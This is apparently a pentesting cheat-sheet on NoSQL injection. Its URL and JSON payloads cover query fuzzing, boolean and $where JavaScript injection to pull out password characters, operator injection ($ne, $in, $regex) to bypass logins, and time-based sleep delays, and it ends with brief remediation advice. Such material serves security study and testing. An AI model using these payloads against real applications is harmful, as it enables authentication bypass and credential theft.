NoSQL Injection
Targets NoSQL databases using unstructured queries. These attacks typically exploit applications that handle user input unsafely when interacting with NoSQL databases.
Syntax injection
This occurs by attempting to break the query syntax, by submitting fuzz strings and special characters that trigger a database error or some other detectable behavior if they're not adequately sanitized or filtered by the application.
For example, if we have a route that changes the sections of a page (for example category of products), we can use a fuzz string to check if it could be vulnerable
https://$URL/$query?$param=section
# First, we can confirm which parameters are processed or cause errors
https://$URL/$query?$param='
https://$URL/$query?$param=\' #The above causes an error, but this doesn't
# Then we can use the fuzz string '"`{ ;$Foo} $Foo \xYZ in a URL encoded format
https://$URL/$query?$param=%27%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
# This can also be applied to a JSON format
{
"param": "'\"`{\r;$Foo}\n$Foo \\xYZ\u0000"
}
We could use conditional statements to evaluate a false statement and a true statement
https://$URL/$query?$param=section'+%26%26+0+%26%26+'x # This is ' && 0 && 'x
https://$URL/$query?$param=section'+%26%26+1+%26%26+'x # This is ' && 1 && 'x
# If the application behaves differently, the false condition works, but the true condition doesn't
We could also override boolean conditions
# Like the classical payload 0R 1=1;-- on SQL
https://$URL/$query?$param=section%27%7c%7c%27%31%27%3d%3d%27%31 #It is '||'1'=='1
https://$URL/$query?$param=section%27%7c%7c%31%7c%7c%27 #It is '||1||'
# Or using a null character to ignore all conditions after
https://$URL/$query?$param=section'%00
If we can see information about other users, like their username or role, we could assume that internally the query contains a
$where
operator to filter the information, and try to inject JavaScript functions
http://$URL/user?username=admin
# We make a boolean-based injection to extract data character by character
http://$URL/user?username=admin' && this.password[0] == 'a' || 'a'=='b
# We can use functions like match to determine if the data contains some specific types of characters
http://$URL/user?username=admin' && this.password.match(/\d/) || 'a'=='b # Digits
# Or to determine the length
http://$URL/user?username=admin' && this.password.length < 30 || 'a'=='b
We can also make comparisons to determine if a field exists
http://$URL/user?username=admin' && this.username!=' # If we know this exists
http://$URL/user?username=admin' && this.foo!=' #And we know this doesn't
# We can compare if they show different responses to determine which match
http://$URL/user?username=admin' && this.password!='
Operator injection
NoSQL databases often use query operators to filter the data in the result of a query
For example, we could use the NoSQL operators to retrieve data from other objects
# On JSON format
{
"id": {"$ne": 0}, # Use the non-equal operator to make changes in all objects
"message": "hello"
}
# We could target specific or known values
{
"username":{"$in":["admin","administrator","superadmin"]},
"password":{"$ne":""} # To consider any password
}
# Or using a Regex
{
"username":{"$regex":"^a*"},
"password":{"$ne":""}
}
# Or in URL parameters
http://$URL/$query?id[$ne]=0
We can abuse the
$where
operator to extract field names
{"username":"wiener","password":"peter", "$where":"0"} #If we have a response here
{"username":"wiener","password":"peter", "$where":"1"} #And a different one here
#We could use the operator to extract information about the fields
{"username":"wiener","password":"peter", "$where":"Object.keys(this)[0].match('^.{1}a.*')"} #The values that could change are 0,1, and a
#And the related values
{"username":"wiener","password":"peter", "$where":"this.token[0].match('a')"} #This is an example with a found field
#Then we could use the recovered field in another routes
http://$URL/user?<RecoveredField>=<Recovered Value>
Time-Based Injection
When we think we are triggering an error but we don't see a difference in the application's response, we could detect a vulnerability by triggering a time delay that gives us a clue.
For example, we could check the timing of the page normally and then intentionally cause a delay to compare if the injection is working
# Using functions like sleep
http://$URL/user?username=admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'
#Or based on the time and date of the browser
http://$URL/user?username=admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'
Remediation Actions
Avoid directly incorporating user-supplied input into NoSQL queries without validation or sanitization
Use safe query-building methods provided by the NoSQL driver to separate data from query logic
Validate all user inputs against strict data types and expected patterns
Sanitize inputs by disallowing special characters commonly used in injections, such as $ or {}
Disable or restrict the use of operators like
$where
Apply the principle of least privilege to database users
Last updated